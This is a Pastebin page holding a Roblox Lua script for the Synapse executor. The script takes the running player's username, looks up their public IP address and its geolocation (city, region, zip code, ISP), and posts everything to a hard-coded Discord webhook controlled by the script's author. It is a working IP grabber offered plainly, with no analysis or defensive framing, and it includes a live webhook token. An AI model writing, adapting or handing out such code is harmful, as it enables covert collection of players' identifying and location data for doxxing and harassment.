Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local name = game:GetService("Players").LocalPlayer.Name
- local WebhookURL = "https://discordapp.com/api/webhooks/1068798445470621706/tp4g6DhTJK9AcQDFRXVhcVLnikJoZztnTQXmr8Fq7vJH6Y-BdkOfEO3EeEkZ2zUuM9Ue"
- local getIPResponse = syn.request({
- Url = "https://api.ipify.org/?format=json",
- Method = "GET"
- })
- local GetIPJSON = game:GetService("HttpService"):JSONDecode(getIPResponse.Body)
- local IPBuffer = tostring(GetIPJSON.ip)
- local getIPInfo = syn.request({
- Url = string.format("http://ip-api.com/json/%s", IPBuffer),
- Method = "Get"
- })
- local IIT = game:GetService("HttpService"):JSONDecode(getIPInfo.Body)
- local FI = {
- IP = IPBuffer,
- country = IIT.country,
- countryCode = IIT.countryCode,
- region = IIT.region,
- regionName = IIT.regionName,
- city = IIT.city,
- zipcode = IIT.zip,
- latitude = IIT.lat,
- longitude = IIT.lon,
- isp = IIT.isp,
- org = IIT.org
- }
- local dataMessage = string.format("User: %s\nIP: %s\nCountry: %s\nCountry Code: %s\nRegion: %s\nRegion Name: %s\nCity: %s\nZipcode: %s\nISP: %s\nOrg: %s", name, FI.IP, FI.country, FI.countryCode, FI.region, FI.regionName, FI.city, FI.zipcode, FI.isp, FI.org)
- local MessageData = {
- ["content"] = dataMessage
- }
- syn.request(
- {
- Url = WebhookURL,
- Method = "POST",
- Headers = {
- ["Content-Type"] = "application/json"
- },
- Body = game:GetService("HttpService"):JSONEncode(MessageData)
- }
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement